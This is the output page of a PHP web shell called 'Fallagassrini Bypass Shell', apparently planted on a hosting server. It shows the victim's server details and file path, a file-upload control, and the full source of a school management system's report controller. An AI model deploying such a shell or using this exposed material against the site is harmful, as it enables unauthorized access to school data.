? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sims/school/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sims/school/application/controllers/report.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Report extends BaseController

{

	function  __construct()
	{
		parent::BaseController();
                $this->load->helper('to_pdf');
                $this->load->model('reportmodel');
                $this->load->model('mastermodel');
                $this->load->model('settingsmodel');
                $this->load->model('teachermodel');

              
                $this->load->library('Fpaginate');
	}

        function get_post_values()
        {
            $data = array();
            foreach ($_POST as $key => $value)
            {
                if($key != "submit")
                {
                    $data[$key] =  $this->input->post($key);
                }
            }
            return $data;
        }

        
        function viewinreport($modelfunction,$page,$pagenum="")
        {
            /*<---------------- For pagination purpose------------>*/
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['userid'],0);
            if(!$perm)
            {
                $this->load->view('Settings/nopermission');
            }
            else
            {
                $perpage= $this->config->item('perpage');
                $data['pagenum']=$pagenum;
                $_SESSION['searchdata'] = '';
                if($pagenum==1)
                {
                    $data['id']=1;
                }
                else
                {
                    $data['id']= (($pagenum-1)*$perpage)+1;
                }


              /*<---------------- For pagination purpose------------>         */
                 if(isset($encoded_data))
                 {
                 $decoded_data= urldecode($encoded_data);
                 $postdata=json_decode($decoded_data, true);
                 }
                 else
                 {
                   $postdata="";
                 }

                 $output=$this->reportmodel->$modelfunction($postdata,$pagenum);
                 $data['startpage']=$output['startpage'];
                 $data['endpage']=$output['endpage'];
                 $data['viewinfo']=$output['results'];
                 $this->load->view('Report/'.$page.'',$data);
            }
        }

        
        function viewinreportsearch($modelfunction,$page,$pagenum)
        {
           /*<---------------- For pagination purpose------------>*/
            $perpage= $this->config->item('perpage');
            $data['pagenum']=$pagenum;
            if($pagenum==1)
            {
                $data['id']=1;
                $postdata=$this->get_post_values();
                $_SESSION['searchdata']=$postdata;
            }
            else
            {
                $data['id']= (($pagenum-1)*$perpage)+1;
            }

            /*<---------------- For pagination purpose------------>         */
            $_SESSION['searchdata']=$postdata;
            if(!isset($_SESSION['searchdata']))
                 $_SESSION['searchdata']="";
            $output=$this->reportmodel->$modelfunction($postdata,$pagenum);
            $data['startpage']=$output['startpage'];
            $data['endpage']=$output['endpage'];
            $data['viewinfo']=$output['results'];
            $this->load->view('Report/'.$page.'',$data);
        }

        
        function addinreport($modelfunction,$page)
        {
            $postdata=$this->get_post_values();
            $data=$this->smsmodel->$modelfunction($postdata);
            $data=$this->reportmodel->$modelfunction($postdata);
            if($data['res']==1)
            {

                $this->viewinreport($data['resfunction'],$page,'1');
                $this->load->view('insertsuccess');

            }
            else
            {   $this->viewinreport($data['resfunction'],$page,'1');
                $this->load->view('insertfailure');
            }

        }
        function editform($controllerfunction,$id)
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['userid'],1);
            if(!$perm)
            {
                $this->load->view('Settings/nopermission');
             }
            else
            {
                $this->$controllerfunction($id);

            }
        }

        function loadreportform($page)
        {
            $this->load->view('Report/'.$page);
        }

        function load_attendance_report($page)
        {
           $postdata=$this->get_post_values();
           $data['student']=$this->mastermodel->get_student_class($postdata['classlevel_id']);
           $data['classlevel_id']=$postdata['classlevel_id'];
           $data['year']=$postdata['year'];
           $data['month']=$postdata['month'];
           $this->load->view('Report/'.$page,$data);
        }

        function load_attendance_report_student($page)
        {
           $postdata=$this->get_post_values();
           $data['viewinfo']=$this->mastermodel->get_data('attendance_register',$postdata['student_id'],'student_id');
           $this->load->view('Report/'.$page,$data);
        }
        
        function attendance_report($classlevel_id,$month,$year,$num)
        {
          
           $data['student']=$this->mastermodel->get_student_class($classlevel_id);
           $data['classlevel_id']=$classlevel_id;
           $data['year']=$year;
           $data['month']=$month;
           $data['num']=$num;
           $this->load->view('Report/viewattendancereportpdf',$data);
        }

        function load_student_report($student_id="",$page)
        {
            $data['student']=$this->mastermodel->get_joined_single_info('student','student_id','student_address','student_id','student_id',$student_id);
            $data['other']=$this->mastermodel->get_data_srow('student_otherinfo',$student_id,'student_id');
            $this->load->view('Report/'.$page,$data);
        }

         function studentreport($student_id)
        {
            $data['student']=$this->mastermodel->get_joined_single_info('student','student_id','student_address','student_id','student_id',$student_id);
            $data['other']=$this->mastermodel->get_data_srow('student_otherinfo',$student_id,'student_id');

            $this->load->view('Report/student_reportpdf',$data);
        }

       function teacherreport($id,$page)
        {
           
            $data['teacher']=$this->mastermodel->get_data_srow('teacher',$id,'teacher_id');
            $data['address']=$this->mastermodel->get_data_srow('teacher_address',$id,'teacher_id');
            $data['teacher_subject']=$this->teachermodel->get_data_subject($id);
            $data['teacher_qualification']=$this->mastermodel->get_data('teacher_qualification',$id,'teacher_id');
            $data['teacher_work_experience']=$this->mastermodel->get_data('teacher_work_experience',$id,'teacher_id');

            $this->load->view('Report/'.$page,$data);
        }

         function nonteacherreport($id,$page)
        {

            $data['staff']=$this->mastermodel->get_data_srow('staff',$id,'staff_id');
            $data['address']=$this->mastermodel->get_data_srow('staff_address',$id,'staff_id');

            $this->load->view('Report/'.$page,$data);
        }
        function load_payment_report($page,$feecollectionid="")
        {
            if($feecollectionid=="")
            {
                $postdata=$this->get_post_values();
                $feecollection_id=$postdata['feecollection_id'];
            }
            else
                $feecollection_id = $feecollectionid;
            $data=array();
            $data['viewinfo']=$this->reportmodel->get_payment_report($feecollection_id);
            $data['feecollection_id'] = $feecollection_id;
            $this->load->view('Report/'.$page,$data);
        }

        function load_defaulter_report($page,$feecollection_id="",$classlevel_id="")
        {
            if($feecollection_id=="")
            {
                $postdata=$this->get_post_values();
                $feecollection_id=$postdata['feecollection_id'];
                $classlevel_id=$postdata['classlevel_id'];
            }
            
            $data=array();
            $data['viewinfo']=$this->reportmodel->get_defaulter_report($feecollection_id,$classlevel_id);
            $data['feecollection_id'] = $feecollection_id;
            $data['classlevel_id'] = $classlevel_id;
            $this->load->view('Report/'.$page,$data);
        }
        
        function load_student_attendance_report($page,$fromdate="",$todate="",$classlevel_id="")
        {
            if($fromdate=="")
            {
                $postdata=$this->get_post_values();

                $fromdate= $this->mastermodel->convertdateformat($postdata['from_date']);
                $todate= $this->mastermodel->convertdateformat($postdata['to_date']);
                $classlevel_id= $postdata['classlevel_id'];
            }
            $data=array();
            $data['fromdate']=$fromdate;
            $data['todate']=$todate;
            $data['classlevel_id']=$classlevel_id;

            $data['viewinfo']=$this->reportmodel->studentyearlyattendancereport($fromdate,$todate,$classlevel_id);
            
            $this->load->view('Report/'.$page,$data);
        }
        
        function load_teacher_attendance_report($page,$fromdate="",$todate="")
        {
             if($fromdate=="")
            {
                $postdata=$this->get_post_values();
                $fromdate= $this->mastermodel->convertdateformat($postdata['from_date']);
                $todate= $this->mastermodel->convertdateformat($postdata['to_date']);
            }
            $data=array();
            $data['fromdate']=$fromdate;
            $data['todate']=$todate;

            $data['viewinfo']=$this->reportmodel->teacheryearlyattendancereport($fromdate,$todate);
            $this->load->view('Report/'.$page,$data);
        }
        
        function load_employee_attendance_report($page,$fromdate="",$todate="")
        {
             if($fromdate=="")
            {
                $postdata=$this->get_post_values();
                $fromdate= $this->mastermodel->convertdateformat($postdata['from_date']);
                $todate= $this->mastermodel->convertdateformat($postdata['to_date']);
            }
            $data=array();
            $data['fromdate']=$fromdate;
            $data['todate']=$todate;
            
            $data['viewinfo']=$this->reportmodel->staffyearlyattendancereport($fromdate,$todate);
            $this->load->view('Report/'.$page,$data);
        }
        function load_studentclass_report($page,$classlevel_id="")
        {
            if($classlevel_id=="")
            {
                $postdata=$this->get_post_values();
                $classlevel_id= $postdata['classlevel_id'];
            }
            $data=array();
            $data['classlevel_id']=$classlevel_id;
            $data['viewinfo']=$this->reportmodel->getstudentclassreport($classlevel_id);
            $this->load->view('Report/'.$page,$data);
        }

        function load_teacherdetail_report($page,$classlevel_id="")
        {
            if($classlevel_id=="")
            {
                $postdata=$this->get_post_values();
                if(isset ($postdata['classlevel_id']))
                $classlevel_id= $postdata['classlevel_id'];
            else {
                $classlevel_id='';
            }
            }
            $data=array();
            $data['classlevel_id']=$classlevel_id;
            $data['viewinfo']=$this->reportmodel->getteacherdetailreport($classlevel_id);
            $this->load->view('Report/'.$page,$data);
        }

        function load_nonteacherdetail_report($page,$department_id="",$designation_id="")
        {
            if($department_id=="")
            {
                $postdata=$this->get_post_values();
                if(isset ($postdata['department_id']))
                   $department_id= $postdata['department_id'];
                else
                    $department_id='';
            }
            if($designation_id=="")
            {
                $postdata=$this->get_post_values();
                if(isset ($postdata['designation_id']))
                   $designation_id= $postdata['designation_id'];
                else
                    $designation_id='';
            }
            $data=array();
            $data['department_id']=$department_id;
            $data['designation_id']=$designation_id;
            $data['viewinfo']=$this->reportmodel->getnonteacherdetailreport($department_id,$designation_id);
            $this->load->view('Report/'.$page,$data);
        }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net